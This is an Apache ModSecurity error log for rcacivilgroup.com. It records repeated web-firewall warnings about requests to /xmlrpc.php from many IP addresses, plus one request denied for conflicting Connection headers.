[Thu Apr 30 17:52:21.914204 2026] [:error] [pid 62082:tid 62116] [client 213.132.222.51:45498] [client 213.132.222.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.132.222.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMmVavpT-peOfBdViAZUQAAAEQ"]
[Thu Apr 30 17:55:26.288997 2026] [:error] [pid 64501:tid 64508] [client 46.101.90.165:46488] [client 46.101.90.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.101.90.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMnDq5-8fD33SaGfLSOIAAAAAU"]
[Thu Apr 30 17:56:06.327526 2026] [:error] [pid 306:tid 326] [client 148.113.180.195:59836] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.180.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMnNs8WFecmYBAGTxUu-QAAAdA"]
[Thu Apr 30 17:57:29.089988 2026] [:error] [pid 701:tid 708] [client 137.184.230.10:44042] [client 137.184.230.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.230.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMniWpW0MdJ8PijKP-TbQAAAAM"]
[Thu Apr 30 17:59:01.723107 2026] [:error] [pid 762:tid 785] [client 185.203.28.52:50378] [client 185.203.28.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.203.28.52, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMn5UJIh_EKAkiQPcOV-QAAARQ"]
[Thu Apr 30 18:00:05.364075 2026] [:error] [pid 702:tid 753] [client 74.207.234.148:38458] [client 74.207.234.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.207.234.148, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMoJaZqJadgBxPePYzMBAAAAFQ"]
[Thu Apr 30 18:01:59.773317 2026] [:error] [pid 3120:tid 3133] [client 157.245.242.100:32488] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMolwItpeV7EEZqrKJAWAAAAQY"]
[Thu Apr 30 18:02:36.342502 2026] [:error] [pid 3120:tid 3125] [client 95.216.2.94:51382] [client 95.216.2.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.216.2.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMovAItpeV7EEZqrKJBfQAAAQE"]
[Thu Apr 30 18:04:34.302743 2026] [:error] [pid 4462:tid 4464] [client 213.186.179.73:51560] [client 213.186.179.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.186.179.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMpMhcCYdUD7j2DtHkvrQAAAMA"]
[Thu Apr 30 18:06:16.583334 2026] [:error] [pid 5732:tid 5777] [client 70.39.251.139:54912] [client 70.39.251.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 70.39.251.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMpmNuJ3iSd5GdjqlgrXQAAAM4"]
[Thu Apr 30 18:06:49.091518 2026] [:error] [pid 5731:tid 5758] [client 38.113.191.66:46338] [client 38.113.191.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.113.191.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMpuQ8tX7TbSfYoUIwtBwAAAJc"]
[Thu Apr 30 18:07:39.825992 2026] [:error] [pid 5731:tid 5748] [client 212.47.74.48:37572] [client 212.47.74.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.74.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMp6w8tX7TbSfYoUIwtdAAAAI0"]
[Thu Apr 30 18:10:09.602462 2026] [:error] [pid 6456:tid 6462] [client 52.178.68.120:51652] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMqgUOBwsDodnkJK5wlZwAAAEQ"]
[Thu Apr 30 18:11:47.192455 2026] [:error] [pid 5820:tid 5824] [client 204.48.18.182:44432] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMq4wyrLh3-LgH3Xv8hPAAAAAI"]
[Thu Apr 30 18:11:54.973273 2026] [:error] [pid 5733:tid 5790] [client 188.166.244.214:33184] [client 188.166.244.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.244.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMq6vT55_Ioa9J2OpLSZQAAAQA"]
[Thu Apr 30 18:12:25.110473 2026] [:error] [pid 5733:tid 5802] [client 155.133.142.66:61280] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMrCfT55_Ioa9J2OpLSfwAAAQw"]
[Thu Apr 30 18:13:36.088907 2026] [:error] [pid 6456:tid 6463] [client 211.21.61.246:45734] [client 211.21.61.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMrUEOBwsDodnkJK5wndwAAAEU"]
[Thu Apr 30 18:13:56.183354 2026] [:error] [pid 5732:tid 5782] [client 68.183.13.1:37930] [client 68.183.13.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.13.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMrZNuJ3iSd5GdjqlgsygAAANM"]
[Thu Apr 30 18:17:23.648216 2026] [:error] [pid 6456:tid 6464] [client 144.76.198.144:52884] [client 144.76.198.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.76.198.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMsM0OBwsDodnkJK5woIQAAAEY"]
[Thu Apr 30 18:18:40.141126 2026] [:error] [pid 5820:tid 5832] [client 168.119.190.193:51082] [client 168.119.190.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.119.190.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMsgAyrLh3-LgH3Xv8iogAAAAo"]
[Thu Apr 30 18:20:36.696783 2026] [:error] [pid 6456:tid 6463] [client 167.71.223.197:49260] [client 167.71.223.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.71.223.197, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMs9EOBwsDodnkJK5wpTwAAAEU"]
[Thu Apr 30 18:23:02.494395 2026] [:error] [pid 5820:tid 5835] [client 20.163.27.0:43174] [client 20.163.27.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.163.27.0, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMthgyrLh3-LgH3Xv8j5AAAAA0"]
[Thu Apr 30 18:24:03.220633 2026] [:error] [pid 6456:tid 6458] [client 82.165.5.19:55428] [client 82.165.5.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.165.5.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMtw0OBwsDodnkJK5wqcQAAAEA"]
[Thu Apr 30 18:34:29.630165 2026] [:error] [pid 5732:tid 5768] [client 109.74.14.122:49142] [client 109.74.14.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.74.14.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMwNduJ3iSd5GdjqlgwcAAAAMU"]
[Thu Apr 30 18:35:01.789407 2026] [:error] [pid 5733:tid 5792] [client 128.140.11.209:48056] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMwVfT55_Ioa9J2OpLXPwAAAQI"]
[Thu Apr 30 18:35:43.396768 2026] [:error] [pid 5731:tid 5748] [client 148.251.46.181:39688] [client 148.251.46.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.46.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMwfw8tX7TbSfYoUIwxpgAAAI0"]
[Thu Apr 30 18:36:18.809884 2026] [:error] [pid 5820:tid 5844] [client 89.167.41.21:41064] [client 89.167.41.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.167.41.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMwogyrLh3-LgH3Xv8nmQAAABY"]
[Thu Apr 30 18:38:45.270336 2026] [:error] [pid 5820:tid 5834] [client 148.251.46.181:45420] [client 148.251.46.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.46.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMxNQyrLh3-LgH3Xv8oIQAAAAw"]
[Thu Apr 30 18:39:34.538656 2026] [:error] [pid 5820:tid 5833] [client 142.93.114.194:20960] [client 142.93.114.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.114.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMxZgyrLh3-LgH3Xv8otQAAAAs"]
[Thu Apr 30 18:41:48.140488 2026] [:error] [pid 5820:tid 5829] [client 94.198.218.33:49508] [client 94.198.218.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.198.218.33, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMx7AyrLh3-LgH3Xv8pUgAAAAc"]
[Thu Apr 30 18:48:51.173277 2026] [:error] [pid 5732:tid 5779] [client 46.101.90.165:52040] [client 46.101.90.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.101.90.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMzk9uJ3iSd5GdjqlgzEwAAANA"]
[Thu Apr 30 18:49:17.211698 2026] [:error] [pid 6456:tid 6465] [client 96.9.125.116:49944] [client 96.9.125.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.125.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMzrUOBwsDodnkJK5w0cgAAAEc"]
[Thu Apr 30 18:49:33.815746 2026] [:error] [pid 5732:tid 5780] [client 159.89.50.224:55730] [client 159.89.50.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.50.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMzvduJ3iSd5GdjqlgzMgAAANE"]
[Thu Apr 30 18:54:39.049485 2026] [:error] [pid 5820:tid 5841] [client 80.82.219.138:60988] [client 80.82.219.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.82.219.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM07wyrLh3-LgH3Xv8tFQAAABM"]
[Thu Apr 30 18:57:08.563215 2026] [:error] [pid 5732:tid 5786] [client 142.93.114.194:56076] [client 142.93.114.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.114.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM1hNuJ3iSd5Gdjqlg0SgAAANc"]
[Thu Apr 30 19:00:57.945812 2026] [:error] [pid 5733:tid 5804] [client 155.133.142.66:33413] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM2afT55_Ioa9J2OpLc6gAAAQ4"]
[Thu Apr 30 19:02:15.353148 2026] [:error] [pid 5733:tid 5805] [client 185.98.139.113:45024] [client 185.98.139.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM2t_T55_Ioa9J2OpLdLgAAAQ8"]
[Thu Apr 30 19:05:12.334933 2026] [:error] [pid 5733:tid 5793] [client 157.245.242.100:32504] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM3aPT55_Ioa9J2OpLd9QAAAQM"]
[Thu Apr 30 19:07:40.185558 2026] [:error] [pid 6456:tid 6463] [client 87.106.165.131:54470] [client 87.106.165.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.106.165.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM3_EOBwsDodnkJK5w8vQAAAEU"]
[Thu Apr 30 19:09:36.800396 2026] [:error] [pid 6456:tid 6477] [client 128.140.11.209:60590] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM4cEOBwsDodnkJK5w9nwAAAFM"]
[Thu Apr 30 19:10:33.767129 2026] [:error] [pid 6456:tid 6480] [client 217.182.82.42:33978] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM4qUOBwsDodnkJK5w-SwAAAFY"]
[Thu Apr 30 19:15:58.006208 2026] [:error] [pid 5731:tid 5757] [client 172.245.70.151:39202] [client 172.245.70.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.245.70.151, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM57g8tX7TbSfYoUIw4gQAAAJY"]
[Thu Apr 30 19:18:59.632103 2026] [:error] [pid 6456:tid 6468] [client 165.22.37.239:32944] [client 165.22.37.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.37.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM6o0OBwsDodnkJK5xCEAAAAEo"]
[Thu Apr 30 19:22:50.033816 2026] [:error] [pid 6456:tid 6481] [client 117.50.56.125:60750] [client 117.50.56.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.50.56.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM7ikOBwsDodnkJK5xDoQAAAFc"]
[Thu Apr 30 19:22:51.546707 2026] [:error] [pid 6456:tid 6479] [client 211.21.61.245:51548] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM7i0OBwsDodnkJK5xDpAAAAFU"]
[Thu Apr 30 19:25:02.834559 2026] [:error] [pid 5731:tid 5756] [client 106.14.165.108:44630] [client 106.14.165.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.14.165.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM8Dg8tX7TbSfYoUIw6HgAAAJU"]
[Thu Apr 30 19:26:56.425043 2026] [:error] [pid 5731:tid 5741] [client 139.162.121.226:41852] [client 139.162.121.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.162.121.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM8gA8tX7TbSfYoUIw6XgAAAIY"]
[Thu Apr 30 19:31:40.770733 2026] [:error] [pid 6456:tid 6479] [client 139.162.121.226:38266] [client 139.162.121.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.162.121.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM9nEOBwsDodnkJK5xHvAAAAFU"]
[Thu Apr 30 19:33:26.268206 2026] [:error] [pid 5820:tid 5832] [client 82.154.116.112:41266] [client 82.154.116.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.154.116.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM-BgyrLh3-LgH3Xv89uQAAAAo"]
[Thu Apr 30 19:36:15.776342 2026] [:error] [pid 5820:tid 5834] [client 211.21.61.246:48938] [client 211.21.61.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM-rwyrLh3-LgH3Xv9AuwAAAAw"]
[Thu Apr 30 19:37:33.389994 2026] [:error] [pid 5731:tid 5738] [client 52.178.68.120:47720] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM-_Q8tX7TbSfYoUIw8sAAAAIM"]
[Thu Apr 30 19:39:24.249447 2026] [:error] [pid 5820:tid 5838] [client 35.234.37.132:35566] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afM_bAyrLh3-LgH3Xv9B4wAAABA"]
[Thu Apr 30 19:43:33.874215 2026] [:error] [pid 5820:tid 5838] [client 191.252.92.249:57636] [client 191.252.92.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.252.92.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNAZQyrLh3-LgH3Xv9CzQAAABA"]
[Thu Apr 30 19:46:03.771755 2026] [:error] [pid 6456:tid 6476] [client 123.207.65.62:44178] [client 123.207.65.62] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afNA-0OBwsDodnkJK5xOVgAAAFI"]
[Thu Apr 30 19:48:20.951835 2026] [:error] [pid 5732:tid 5781] [client 139.162.121.226:57952] [client 139.162.121.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.162.121.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNBhNuJ3iSd5Gdjqlg-GwAAANI"]
[Thu Apr 30 19:57:02.194329 2026] [:error] [pid 6456:tid 6461] [client 116.202.13.21:43876] [client 116.202.13.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.202.13.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afNDjkOBwsDodnkJK5xRqAAAAEM"]
